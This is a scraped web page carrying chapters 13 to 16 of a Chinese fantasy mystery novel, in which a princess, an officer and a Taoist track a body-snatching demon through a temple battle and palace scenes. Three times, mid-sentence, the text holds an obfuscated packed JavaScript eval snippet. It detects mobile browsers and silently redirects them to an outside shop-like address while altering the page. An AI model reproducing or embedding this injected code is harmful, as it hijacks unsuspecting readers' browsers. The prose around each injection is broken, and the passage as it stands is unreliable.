上密密麻麻的异族符印,“是离魂法阵。” 宋少衡蹲下身,轻轻阖上眼睛,察觉到一缕黑气还未完全从法阵里逸散干净,这也就是说,幕后凶手还未来得及离开这里,他现在是藏在了罗仙观的某个地方。 罗仙观不大,两个殿宇并排立着,一高一低,从旁边的青石台阶穿过山门可以去高处望景台,而宋少衡他们现如今是在进门口的院子里。 “在上面,”延康子打开天眼追踪着那团黑气。 延康子带着一群兵士上去楼阶捉拿妖怪,宋少衡则是化出了曜灵剑时刻准备着动手。 同钰带人拿着画像过去比对,果然有一个已经死去的女冠便是浮云楼小厮指认的人。 “离魂法阵是做什么用的?”贺兰漪抬眸看向宋少衡,她之前并未听说过这种诡异法术。 “逼自己的魂魄离体,以寻找新的空魂身体变成另外一个人,”宋少衡盯着檐下的铜铃,“郡主的生魂若是被永远困在扇子里,那身体就会存在一段时间的虚空期,如果这时有恶魂入体,那么他就能长长久久地占据这个新的身体,而不会被道士发现,只不过,此术为逆天之道,稍有不慎,就会形魂俱灭。” “而且,布置一次这样的法阵损耗极大,他之所以还留在这里没跑,大约是还没恢复法力。” “我这个身体到底有什么好的?居然值得他这么大费周章地惦记,”贺兰漪眉尖微蹙。 宋少衡和贺兰漪几个人绕过参天银杏树,经过雕刻着九天玄女像的石龛,来到了咕嘟冒着泉水的水井旁边的偏殿。 这里已经早有士兵过来搜过,没有丝毫妖怪的踪影。 偏殿正中供奉着一尊宝相庄严的九天玄女石像,石身开裂,有青苔从裂缝里覆出来,左手持宝剑,肩上披帛纷飞,眉眼间略显刻薄。 “你为何要来这里?”贺兰漪不解地问道。 宋少衡打量着面前的九天玄女石像,温声道:“只是以防万一,有的妖怪极其狡猾,会声东击西,用分身吸引人的视线,趁机逃走。” 张千仞站在旁边,附和道:“是了是了,我听话本里也这么讲过,不过咱们有这么多人在这里,又有宋管军和延康子道长,谅那妖怪也逃不出我们的五指山。” “这种害人性命的神像,早该毁掉了!”说着,张千仞随手挥刀砍向偏殿正中的石像,它的右胳膊又裂开了一条极大的缝隙。 “报!管军,郡主!延康子道长没找到妖怪!”一个兵士急匆匆跑进来禀报道。 贺兰漪和张千仞背对着石像,均紧张了起来,因为延康子的道术在汴梁极其有名,他们都下意识地认为只要延康子出马,捉拿那法力还未恢复的妖怪肯定手到擒来,根本不用担心,尤其是宋少衡还在这里,贺兰漪更是理所当然地认为不会有什么危险。 不成想,下一秒,延康子竟拿着铁尺冲进了偏殿,“郡主小心!” 贺兰漪只听见身后轰隆一声巨响,九天玄女石像活了过来,身上石头炸开,宋少衡护着贺兰漪的肩膀将她拽到了左侧,两人均重重摔在地上,张千仞则是直接直接被崩飞出去,一头撞在银杏树上,额头流血摔晕了。 偏殿的屋脊被九天玄女石像戳了个窟窿,她提着长剑直奔贺兰漪而去。 同钰和宋巍见状,提着刀就冲了过去,挡在贺兰漪和宋少衡身前,九天玄女石像身上的飘带纷飞,和同钰、宋巍打的如火如荼。 延康子急忙在铁尺上画符,对着九天玄女石像喃喃念咒,可刚念到一半,他就被横飞过来的飘带砸飞出去。 14. 第 14 章 “郡主,你怎么样了?”宋少衡起身慌忙把贺兰漪从地上搀起来。 “我没事,你不用管我,”贺兰漪皱着眉,鼻尖上染着薄灰,她抬手摸了摸脑袋上的发髻,随后迅速乖觉地藏到了柱子后面。 九天玄女石像依旧在和同钰打斗,巨大的石头臂膀朝着他的头挥去,就在那攥紧的拳头要砸上同钰带血的脸时,宋少衡提着曜灵剑三步并做两步,攀上石像的脖子,将剑身插进了它的眼睛里,石像的动作突然停下来。 大股黑气开始从石像眼睛里冒出来,宋少衡眸色幽深,沉声念着咒语,看向柱子后面的贺兰漪,抬了抬下巴,示意她马上离开这里。 贺兰漪心领神会,立刻跑出来,扶着受伤的同钰和宋巍,离开了罗仙观的偏殿。 他们刚跑出来,三秒钟后,巨大的爆炸声响彻云霄,殿宇轰然倒塌,木梁、石头飞溅。 “郎君!”宋巍转身欲去寻宋少衡。 铺天盖地的尘土飞扬,让人瞧不清状况,贺兰漪捂着胸口咳嗽了几声,只见灰雾里,依旧能瞧见巨大的石身矗立在倒塌的殿宇废墟中。 “宋管军!”从地上撑着爬起来的延康子还记挂着宋少衡与他的约定,这人还未履约,可不能死了。 贺兰漪心中也莫名有些慌乱,她扯着嗓子喊,“宋少衡。” 一缕黑气溢散开来,隐去消失在黯淡的天空里,宋少衡提剑从断壁残垣的废墟里走了出来,战胜归来的将军似的,脸庞上沾着些许灰尘,但神态依旧从容淡定。 他走到贺兰漪面前,轻眨睫羽,“我没事。” “这厮竟如此狡猾,”延康子盯着黑气散溢的天空,“留在这里的居然是个分身,有这种修为,这是害了多少人命啊!” “我们先离开这里吧,”贺兰漪蹙着眉,视线落在宋少衡的右手上,发觉他的手在微微发颤,手背上竟是被石头砸出了淤血来,青紫一片。 一行人相互搀扶着下山,幸而来之前怕有人受伤,提前准备了几辆马车。 宋安牵过来了宋少衡的白马,准备启程回去内城。 “你,跟着我坐车,”贺兰漪看向想要上马抓住缰绳的宋少衡。 宋少衡身体僵了一瞬,他有些不敢相信刚刚贺兰漪是在同他讲话。 宋安也被贺兰漪的举动吓了一跳,但他估摸着宋少衡肯定会拒绝,毕竟自从他们这个二郎君回来汴梁,出行从未坐过马车,即便是之前受了那么重的伤,也都是骑马出行。 “有什么好犹豫的!”贺兰漪以为宋少衡介意和她同乘一辆马车,但其他车上已经满了,她直接走过来,拽住宋少衡的袖口,把他拉上了马车。 而宋少衡也没有任何挣扎,甚至连话都没多说一句,就乖乖地、带着一丝腼腆地跟着贺兰漪坐上了车。 宋安和不远处的宋巍对视一眼,震惊之余,均品出了些不同寻常的意味。 马车里还坐着受伤的同钰和延康子,加上贺兰漪和宋少衡一共四个人,同钰是贺兰漪的亲卫,延康子是和贺兰漪自小相识的好友,给贺兰漪准备的马车又极其宽敞,因而大家也都十分自在,并没有感觉尴尬。 马车晃晃悠悠走起路来,贺兰漪坐在马车座位左边,宋少衡就坐她旁边。 同钰头上缠着延康子给他撕下来的衣服布条,包得鼓鼓囊囊,很是滑稽。 “疼吗?”贺兰漪蹙着眉头问他。 同钰笑着摇了摇头,“不疼。” “你快别动你的头了!”虽然同钰说不疼,但刚刚贺兰漪把他从偏殿扶出来的时候,瞧见了他额头上的伤口,很深很红的一道口子。 旁边的宋少衡看着贺兰漪的侧脸,又默默移开目光,垂下眼睫,看了眼自己浮肿青紫的右手手背,心下不免有些酸涩。 刚刚的情况被延康子尽收眼底,他看了看贺兰漪,又看向宋少衡,嘴角微微上扬。 “你傻笑什么呢?”贺兰漪歪着头打量着延康子。 延康子摇了摇头,打马虎眼地意有所指道:“没什么,我就是在想你这么关心同钰的伤势,你怎么不关心关心我啊?” “你平日里手指破个皮都娇贵地不行,你要是真的受了伤,这会儿早鬼哭狼嚎了,还用得着我问?” 眼看着贺兰漪快把自己老底揭掉了,延康子忙清了清嗓子,止住了贺兰漪的话,“郡主,你就不想知道刚刚是怎么回事吗?” “快说。”贺兰漪着急问道。 “刚刚那妖怪约莫是猜到我们会来,所以故意在法阵上留下一缕黑气干扰我们的视线,等我们全部跑到楼上,他应该就会借机逃走,可没想到宋管军居然找去了偏殿,他没办法,才附在那座九天玄女石像上,与我们拼死一搏。” “那你之前在罗仙观里说的分身是什么意思?” “有的大妖修炼到一定境界,可以化出分身,在远处控制分身行动,分身所做的行为会影响到原身,同样地,分身受的伤也会重创原身,只不过,把分身扔在这里倒有一样好处,即便是分身最后被人毁掉,原身也只是受到重创,这样就能捡回一条性命。” 宋少衡抬眸,瞳色幽深,“不出三日,他定然会再次出现夺人性命用来疗伤。” “为什么是三天?”贺兰漪看向宋少衡。 “因为我以他的分身为祭,对他下了咒,虽然效用不如直接对他下咒可以毁掉元神,但也足以逼他尽快现身了。” 马车回到开封府衙门口的时候,贺兰漪率先下车让青窈把同钰带走诊治。 延康子拉着宋少衡落后一步,悄声问:“管军,你下的可是诛魂咒?你不要命了居然敢修炼那么阴邪的法术?” 诛魂咒是极其凶险的法术,虽然修炼此术可以使修为达到某些道士倾其一生都无法到达的高度,但至阴至邪,饶是延康子这种上阶道士对此术也是敬而远之,因为凡修炼此咒者三十岁必然会走火入魔而死。 唐朝曾有个修为极其高深的天才道士将此术修炼地炉火纯青,一时间呼风唤雨,捉妖无数,风头无两,成为武皇座下第一术士,他广罗无数珍奇药材和化解术法,修炼多年,以为自己可以摆脱禁锢,可三十岁时依旧不可控地应验了走火入魔疯癫而亡的恶咒。 “这不是你该关心的事,”宋少衡神色疏离,甩开延康子抓着自己衣袖的手,挑着眉梢压低声音冷漠道:“你只需要履行约定,你要的东西自然会准时送到你的手上。” 宋少衡掀开车帘下车后,延康子暗暗白了他一眼,手里拿着铁尺小声嘟囔道:“狗咬吕洞宾,不识好人心的家伙……不过这家伙还挺厉害,那么强的妖怪分身居然也能一击致命。” 刑部侍郎和大理寺少卿听闻贺兰漪他们回来的消息,早早就等候在门口。 “妖怪跑了,但是三天之内会再次现身害人,你们该写折子的写折子,该布防的去布防,快派人去做吧。”贺兰漪对众人说道。 刑部侍郎廖湖琦傻了眼,“宋管军他怎么让妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746868|145308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪跑了?汴梁城这么大我们可怎么查啊?” 眼看着廖湖琦又要冲宋少衡发难,贺兰漪忙给延康子使眼色,延康子走过来,“两位大人这边请,我来告诉两位大人该如何布防。” 宋少衡也打算跟着一起过去研究案情,却被贺兰漪拦住了去路,她仰着脸,眨巴着透亮的大眼睛,以不可违抗的语气,“你跟着我过来。” 贺兰漪带着宋少衡去了左军巡院的花厅,宋巍和大夫已经等在里面了。 “让你家的大夫给你看看,”贺兰漪注意到宋少衡手上的伤后,就在下山路上嘱咐宋巍让人提前去找个大夫在开封府衙等着,毕竟宋少衡救了她多次,若是只当没瞧见他的伤,未免太没良心了。 谁知宋巍竟把他们府上的大夫带了过来,还在府衙门口提前找到贺兰漪说是希望她可以把宋少衡带过来,因为如果是他和宋安去说,宋少衡根本不会听。 宋少衡坐在桌边,乖乖伸出手给老大夫诊脉,贺兰漪则坐在旁边吃了口青窈递过来的玫瑰酥饼。 “他怎么样了?”贺兰漪看见宋少衡青紫的手背就觉得心惊,她眼看着那老大夫的眉头越皱越紧。 老大夫咽了下口水,想到宋知羲的嘱咐,又对上宋少衡警告的视线,斟酌了又斟酌,才敢回话说:“启禀郡主,郎君五内郁结,脉象虚浮,又加之受了外伤……” 老大夫天花乱坠说了一通,把贺兰漪都给绕晕了,简直比那些官员给官家写的问安折子还要啰嗦,不过贺兰漪抓住了重点,总结归纳就是宋少衡受了伤,需要治,但是伤势并不危及性命。 “那你快些开方子,让人去抓药吧。”贺兰漪见这边已经处理完,她拍了拍手上的玫瑰酥渣,起身准备离开。 见她起身,宋少衡也跟着一起站起身,准备去见刑部侍郎他们。 “你站起来干什么,你得在这等着吃药啊,”贺兰漪扭头盯着宋少衡的眼睛。 “郡主,大夫说了我没事,至于吃药,我等下过来吃就好了,”宋少衡眼神清澈,左手手指微微攥紧,他知道自己不该这么做,可内心里还是期盼着贺兰漪可以在这多陪他一会儿。 一个端着敷药药膏的小厮过来,看了下宋巍的脸色,谨慎开口道:“管军,大夫说您的右手需要热敷。” 贺兰漪想着宋少衡年纪轻轻,倒是个极有责任心的官员,手都伤成那样了,还在挂念着案情,左右自己过去司录参军司也是问女尸的事,在哪问都一样,于是让宋巍把留在府里的亲信喊了过来。 “你在这边敷药,让人过来告诉你案情便好了,”贺兰漪又重新坐下,端着香薷熟水喝了口。 “启禀郡主、管军,派出去的人查明,那二十三具女尸都是在从罗仙观回来的三天内莫名其妙地消失了,大多数都是睡了一觉第二天房间里就没人了,除此之外,我们还排查到一件重要的事,这二十三具女尸全部都是一月一日的生辰,包括虞部郎中张琢家的二娘子在内,都是一月一日生人。” “一月一日生人?这是什么缘故?”贺兰漪看向右手正在敷药的宋少衡。 “妖怪想要维持人形在人间行走,就要定期杀人取血取心补充修为,各类妖怪的秉性不同,有的随便杀个人就能用,有的就有特定的禁制,想来这个妖怪是必须以一月一日年轻女子的精元才能补充修为。” “是了!”延康子从回廊拐角走过来,看向贺兰漪和宋少衡,扬声道:“你们猜,我刚刚还发现了一件什么事?” 15. 第 15 章 “什么事?”贺兰漪好奇地站起来问道。 “我查到了那些女尸后脖颈上的花纹是人骨烙,”延康子继续解释说,“也就是说这个妖怪并非天生的妖邪,而是由人化妖,她无法直接夺人精气,必须借助人骨烙才能维持人形。” 贺兰漪震惊地重复,“由人化妖?” “怪不得那些女尸都是一月一日生人,人骨烙需要在阴气极重的情况下才能化成,一月一日生人乃是至阴之体。”宋少衡抬眸看向两人。 延康子眉头微皱,“但是现在还有一个问题,从暗河里打捞上来的二十三具女尸都是在家里消失之后被抽干了全身鲜血掏心而死,可独独虞部郎中张琢家的二娘子是在家里遇害,连同一起死掉的还有她的女使,她只被妖怪掏了心却没有成为干尸,为什么这个妖怪会突然改变做事习惯?” “还有,段如远后脖颈上也有人骨烙印记,他并非是一月一日生人,而且这妖怪之前害的都是年轻的小娘子,他的死解释不通啊。” 提及段如远,贺兰漪垂下眉眼,又不免有些伤心,她细想了想,突然开口,“我听段如远提起过,他修习的术法里有个名叫诛魂咒的诡道,至阴至邪,会跟这个有关系吗?” 延康子闻言,大惊失色地看向贺兰漪。 “他什么时候修炼的诛魂咒!我怎么从未听你提起过啊?” “不过是他之前陪我去地下城的时候偶然说了一句,我当时并没有放在心上,”贺兰漪眉头紧蹙,有些茫然,“再说了,你又没问过我。” 延康子试探着问,“他,他今年不会是三十岁整吧?” “对,四天后就是他的三十岁生辰,”贺兰漪逐渐红了眼眶,声音微微发颤,“之前他还说等他过生辰的时候要送我个磨喝乐呢,谁成想他说话不算话啊。” 延康子的大脑暂时顾不上思考为什么段如远过生辰要送贺兰漪磨喝乐,只是再次向贺兰漪求证,“郡主,你确定段如远今年真的三十岁?” 贺兰漪坚定地点了点头。 段如远做了她五年的护卫,他每次过生辰都会给贺兰漪买个小物件庆祝,贺兰漪自然对段如远的年纪记得很清楚。 “三十岁又怎么了?” “没什么,”延康子不由自主地望了眼坐在桌边的宋少衡,那人依旧神色冷淡,手里拿着白瓷茶盏,镇静地不像个活人,似乎这件事与他没有任何关系。 他想不通怎么会有人不在意自己的生死? “你看宋少衡干什么,段如远三十岁怎么了?”贺兰漪知道延康子在瞒着她某些事。 宋少衡揭下来手背上的敷药,站起身,给贺兰漪解惑,“段郎君修习的诛魂咒,注定了他会三十岁暴毙而亡,这是他回京要付出的代价。” 贺兰漪仍旧听得不是很明白,“诛魂咒跟他回京又有什么关系?” “我之前查阅了段郎君的敕牒和告身,五年前,他在北境边地军营不过是个无名兵卒,本来一生都无回京的指望,但他后来突然在青河之战中生擒了北燕的大将萧暮覃,由此特调回汴梁,升官成了七品下的怀化中候,又因为得郡主赏识做了亲卫入长公主府,被擢升为五品下的怀化郎将。” “郡主可知那萧暮覃是何等人物,他又怎么会无缘无故地落败在段郎君手上?” 贺兰漪当然知道萧暮覃是谁,五年前蔚州城被北燕攻破,她父亲贺兰赫安以身殉国,萧暮覃便是北燕执旗攻入蔚州的第一人,也是他烧毁了贺兰赫安的尸身。 也正因为如此,贺兰漪才在千人之中挑中了父母双亡的段如远,提拔他做了自己的亲卫。 她艰难地张口询问,“你是说,段如远之所以能生擒萧暮覃,是因为修炼了诛魂咒?即便他没有被妖怪害死,也活不过三十岁?” 宋少衡点头,“是。” 而默默站在旁边的延康子看着宋少衡望向贺兰漪的深情眼神,陡然明白过来,为什么宋少衡一个堂堂殿前司副都指挥使会向太后请命来调查这桩小案子,还找到他付出那么大的代价做下那桩交易,这一切的一切,自始至终都只是为了接近贺兰漪罢了。 可惜襄王有意,神女无情。 贺兰漪那么喜欢卫胥,又怎么会突然改变心意对宋少衡动情呢?左不过又是一桩姻缘相错的痴情故事。 身为天师院的道士,延康子本不该沾染这些凡尘俗事,朝廷要他帮忙查案,那他就查案,要他捉妖,他便捉妖,其他的按理说与他无关,可宋少衡与他做的交易关乎他的性命,贺兰漪又是他为数不多的至交好友,实在是不能不上心。 他清了清嗓子,抄着袖口把话题给拉回来,“郡主,管军,诛魂咒这个事咱们先放放,弄清楚妖怪背后的意图才是最紧要的啊!” “现在的情况是,这些年轻的小娘子去罗仙观上香,写下生辰八字交给那些女冠,妖怪应该就是据此来挑选出一月一日生人,给她们种下人骨烙,随后这些小娘子的尸首被在地下城里发现。” “我之前抓住的人交代说是鬼樊楼楼主杀了她们。”宋少衡声音清冷。 “开封府的人查到罗仙观除了那三个三好两歉的女冠外,还有个女观主,那三个女冠已死,想来妖怪便是那女观主。”延康子觉得事情似乎在一步步展露出它原本的面貌。 大雾散尽之际,真相就将浮于眼前。 “罗仙观的女观主,也就是鬼樊楼的楼主,”贺兰漪将整件事穿了起来,眼前一片清明,“她先是通过罗仙观筛选一月一日生辰的年轻小娘子,然后把她们带去鬼樊楼取血掏心,至于三日前死在家里的张乐菱,妖怪只要了她的心,并未取血,那应当是因为她不再需要杀人取血维持人形了。” “夺舍寄魂!”延康子和宋少衡几乎是同时脱口而出。 “段如远尸体被发现应该也是她算计好的,她料准了我闻知段如远死讯后定然会赶去左军巡院,若是我掉进池塘里她就能顺利夺走我的身体,可惜未能如愿,但她还留有后手,提前化作我的模样嘱咐兰月将那柄可以摄人生魂的白玉团扇送到了我手里,以此夺舍,”贺兰惊叹于这妖怪的心思缜密,但还是有个问题,“她既然已经可以轻易夺取人的身体,汴梁城那么多小娘子,她为什么独独选中了我?” 夺舍贺兰漪的身体明显比其他人要难得多,如果妖怪只是想要重新化身为人,随便找个小娘子都能达成目的,除非她所要的不止于此。 “郡主,兰月娘子平日里是个什么样的人?”宋少衡问道。 “兰月是我阿兄房里的得力女使,平日里做事认真心细,阿兄离京前曾嘱咐过她要她好好照顾我,细算算,我七八岁的时候兰月就已经入府做女使了,“贺兰漪温声道。 延康子也附和道:“兰月娘子的确是个心细之人,有次我过府去找郡主,换了个和之前几乎一模一样的木簪束发,她都瞧出来了。” “那妖怪化作郡主模样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746869|145308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,骗过了兰月娘子,说明她平日里定然和郡主接触过多次,甚至是熟识,才能模仿出郡主的举止神态。” 听到宋少衡这话,贺兰漪倒有些犯难,她的熟识,那可海了去了,不过看这妖怪做事的缜密程度,想来应该是位娘子。 又想到段如远的死,现下失踪的竹影阁的雪卿娘子的确嫌疑极大。 可半年间相处下来,雪卿娘子说话温柔,做事体贴又爽利,贺兰漪总觉得她是个心善之人,难不成真的是知人知面不知心? 正思忖着这事,宋安突然拿着一封书信急匆匆地过来花厅。 “郡主,管军,道长,湖州来消息了。” 宋少衡接过来书信看了眼,眸色沉了下去,见宋少衡如此反应,贺兰漪慌忙拿过来书信和延康子一起看了起来。 “死,她三年前就已经落水离世了?”贺兰漪拿着书信的手指颤了下,脸色白了又白,“竹影阁每日里那么多人来来往往,她在汴梁半年多了,就没有道士发现她是个死人吗?” 延康子对上贺兰漪的视线,结结巴巴地解释道:“你,你看我干什么,我是要清修的,你以为谁都跟你似的,三天两头地往那种地方跑。” “半个月前不知道是谁在竹影阁喝醉了差点被人家扔到大街上,”贺兰漪挑着眉梢反讽道。 延康子一时间被噎的无话可说。 宋少衡收好书信,温声道:“这个妖怪通过人骨烙食人血人心,修为稳固,妖气并不容易被发现。” “我们现在知道的,就是她必须通过人骨烙来杀人,能为她补充修为的,除了一月一日生辰的年轻娘子,还有就是修习至阴法术的术士。” “她如今被你重伤,鬼樊楼地下城的入口也被我们控制,她现在应该无力四处寻找一月一日生人了,至于修习至阴法术的术士那更不可能,只要她敢出手,必死无疑。”延康子眉头微蹙,双手抄着袖口无意识地扣着手指。 贺兰漪眨了眨浓密睫羽,“她做事如此缜密,会不会没有杀光?” 宋少衡明白贺兰漪的意思,“你是说,张乐菱也许不是最后一个被她种下人骨烙的小娘子,为了以防万一,她或许已经提前标记了其他小娘子,那这样的话,只要找个机会接近杀了那人就能补充修为。” 延康子马上让人去户部调阅生于一月一日的年轻小娘子的户口版籍,但汴梁城有百万之众,浮客无数,要想在三天之内查出来所有的一月一日生人,几乎是不可能的。 所以在让人守好内城城门的同时,开封府派人在外张贴了许多张告示,未免引起骚乱,告示上只说是花朝节将至,朝廷在寻找后脖颈上生有红色三瓣莲花印记一月一日生人的年轻小娘子为国祈福,经官府查验通过后可以得到一袋金饼,可若是弄虚作假则杖责三十逐出汴梁。 告示一经贴出,没多久就有年轻小娘子拿着户贴过来府衙,虽然排查麻烦了些,但总比在整个汴梁城中大海捞针得好。 太后娘娘派人来说要贺兰漪进宫,她忙回去魏国长公主府换衣裳,正好碰见上官琼儿家的女使茵茵被拦在门外和府兵交涉,气的脸色通红。 见贺兰漪下马车,茵茵跑过来告状,“郡主,我是来送帖子的,府兵死活不让我进去,我说劳烦他进去通禀一声,可他却说只能等同钰郎君醒了才行。” 特殊时期,府兵谨慎些也正常,贺兰漪瞄了眼茵茵手里的帖子,“你是过来送什么帖子的?” 16. 第 16 章 “我们娘子说园子里的芍药山茶花都开了,想请郡主三日后过去赴赏花宴,”茵茵捧着帖子递过来。 青窈帮忙拿过来帖子,贺兰漪这会儿忙着抓妖怪,哪有空去赴宴,但又不好直接驳了上官琼儿的面子,只是说,“我看能不能抽出时间来,明日里我让人去你们府中回帖子。” 段如远的死讯尚未公之于众,上官琼儿一个常年身处内宅之人并不知道此事。 但就在贺兰漪抬脚要迈上门口台阶之时,脑袋里一些有关人骨烙莲花纹饰的记忆突然重新活了过来,她转身喊住要离开的茵茵,低声询问,“你们家娘子的生辰可是一月一日?” 茵茵不明所以地点了点头,“正是,郡主怎么想起来问这件事了?” 之前看到那纹样的时候,贺兰漪就觉得似乎在哪见过,如今一想正是几日前在飞鸾阁挑簪子遇到上官琼儿的时候多瞧了一眼,那时贺兰漪还琢磨着说汴梁城里时兴的花样真是越来越多了,竟在脖颈后描画。 贺兰漪没对茵茵多说什么,只是让宋安派人去告诉宋少衡这个消息,她则是回府沐浴更衣,换了身大袖衫梅粉三裥裙,梳着看起来极其乖巧的同心髻,坐马车入了宫。 承福宫里,太后早已让人备好了膳食。 “皇祖母安好,”贺兰漪规规矩矩地行了个礼,发髻上的金镶玉玛瑙钗头晃着光亮。 皇太后满脸慈爱,招手让她过来坐在旁边,“我听说你胳膊受伤了?” “就不小心碰了下,现今已经好多了,”贺兰漪说着就要给皇太后挥下自己的胳膊,被旁边的瑶轻姑姑慌忙拦住了。 “整日里猴儿似的,没一会儿安生,”皇太后轻轻拍了下贺兰漪的后脑勺。 贺兰漪顺势搂住了皇太后的胳膊,头倚在她肩膀上,撒娇道:“皇祖母,你喊漪儿来是做什么呀?” “宋少衡查案可还尽心?” “尽心,那人挺好的,做事利落,人又聪明,说话也和气,”贺兰漪漫不经心地抬手从越窑黄瓷盘里拿了块糖霜玉蜂儿填进嘴里。 “这么说,你也觉得他不错?”皇太后喃喃自语道。 旁边的瑶轻姑姑立刻明白过来,皇太后这是在给贺兰漪物色新的护卫人选。 陪着太后用过晚膳,应下太后要她小心行事的嘱咐,贺兰漪就在太后宫里的茂才公公的陪同下离开了承福宫。 这会儿未完全天黑,天边飘着五彩缤纷的彩霞,余晖大盛,洒在贺兰漪秀丽的脸庞上更显明艳。 青窈陪着贺兰漪刚走过睿思门的石砖路,就瞧见绿萼华亭下有个模糊的身影在来回转悠。 “郡主,”青窈轻轻碰了下贺兰漪的胳膊,抬了抬下巴提醒她看前面的人。 “她怎么在这?”贺兰漪看清不远处的人影后,脸色突变,转身就欲换条路走。 刚急匆匆迈出两步,身后突然有人着急喊道:“漪儿!” 那身材丰腴的小娘子提着紫色百褶裙飞快地跑了过来,挡在贺兰漪身前,夕阳下,她的影子在红色宫墙上拉得细长一条,身上的披帛腾飞悬在半空,还未完全落下。 “丰瑶,真巧啊,”贺兰漪不得不停下脚步,假笑着抬眸看向面前脸若玉盆,眼若杏核的小娘子。 丰瑶的小胖手扶在腰间,大口大口地喘着粗气,胸脯波涛汹涌地起伏着,“巧什么啊!我是专门在这等你的!” 贺兰漪稍稍往后退了一步,谨慎问:“等我?你等我干什么?” 丰瑶一把抓住贺兰漪的手腕,把旁边的青窈吓得不轻,刚要上去掰开,但又镇静下来,偷偷把手收了回去。 “漪儿,是不是有位殿前司副都指挥使在帮你查案?”丰瑶本来眼睛就长得异常地大,一瞪就像□□似的,格外吓人。 “是,怎么了?”贺兰漪费劲巴拉地把胳膊从丰瑶手里拽了出来,又往后退了一步,后背几乎都要贴着高墙了。 “他是不是叫宋少衡?” “嗯。” 太后宫里的茂才公公见丰瑶公主逼的贺兰漪太近,忙开口打圆场,“公主,您脚下有石子,站的稍稍靠后些吧,别崴着您的脚了。” 丰瑶抬手就把茂才公公推到地上,颐指气使地瞪着眼睛,“你觉得我是傻子啊!还崴到脚!” “漪儿,你跟我说说,那宋少衡长得好看吗?”丰瑶对贺兰漪说话时又换了另外一种温柔语气,听得贺兰漪头皮发麻。 “好看,”贺兰漪边说话边往墙边挪脚,只想离丰瑶远一些。 丰瑶突然脸色大变,抱着胳膊,怒声道:“贺兰漪,我警告你,他可是我的夫婿,有些不该生的心思你想都不要想,我是公主,你是郡主,你必须得听我的,否则我就让爹爹砍下你的头给我当球踢!” 她还想继续说话,嘴巴突然被人从身后捂住,贺兰漪望向站在丰瑶身后的高个隽秀的郎君,暗自松了一口气。 “丰瑶,天要黑了,回去吃饭睡觉,不许再给我跑出来!”那郎君开口训诫道。 刚刚还在发疯的丰瑶突然蔫了精神,一句话没说拉着婢女的手飞快地离开了墙边。 “太子哥哥,还好你来了!”贺兰漪轻轻吐了口气。 赵瑾俞笑了笑,陪着贺兰漪往前走。 “漪儿,太子哥哥代丰瑶向你道歉,你被吓到了吧,”赵瑾俞说着就要同贺兰漪行礼。 贺兰漪慌忙扶住了赵瑾俞的手,“阿兄,你这是做什么呀,丰瑶她又不是故意的,我并没有生她的气。” 赵丰瑶是如今官家的第五女,姚贵妃的二女儿,太子赵瑾俞的嫡亲妹妹,先天不足,虽算不上痴傻,但比平常人的心智要差一点,姚贵妃曾遍寻天下名医,可依旧没有治好她。 宫中人都知道她这样,因而对她处处忍让,久而久之把她养成了个刁蛮莽撞的性子,贺兰漪小时候可不忍着她的脾气,只要丰瑶率先挑衅,贺兰漪必定还回去,可有一次两人再起争执,丰瑶说着说着话就扑通一声口吐白沫倒在了地上,御医诊断丰瑶有哮喘之症,只差一点就救不回来了,自那之后,贺兰漪但凡见到丰瑶都是躲着走,实在躲不了也不敢再跟她起冲突。 毕竟害死公主的罪名贺兰漪可担不起。 当然,她也担不起太子赵瑾俞的行礼,“阿兄怎么在这?” 赵瑾俞笑了笑,“我去探望母妃,正巧路过,珩之可快回京了?” 贺兰漪摇了摇头,装傻道:“他什么时候回来可从不告诉我。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746870|145308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “也是,你整日里不着家,怎么会知道这些,”赵瑾俞让手下拿过来一本名册,递给贺兰漪,“漪儿啊,这里面都是为兄为你精心挑选的护卫名单,年龄籍贯、性情为人都写的一清二楚,等你挑好了,告诉兄长一声,我马上让吏部把人给你调过去。” “好,那我回去慢慢看,”贺兰漪把名册递给旁边的青窈。 见贺兰漪收下名册,赵瑾俞心中自然是高兴的,他趁热打铁,“漪儿,阿兄可是时时挂念着你呢,不像你三皇兄,整日里不知道在忙些什么,连人影都瞧不见。” 又开始了,贺兰漪暗自叹了口气。 “太子哥哥待我自然是极好的,漪儿心里都知道,”贺兰漪十分真诚地说着敷衍的话。 赵瑾俞突然停下脚步,唇角勾起,“那若是皇祖母问起,太子哥哥和你三皇兄哪个更好,漪儿会说谁呢?” 赵瑾俞是东宫太子,三皇子又是官家如今最倚仗的皇子,天家斗争,贺兰漪可不想卷进去,反正不管是谁当未来的天子,她都是郡主,至于站队问题,那是贺兰珩之该考虑的事。 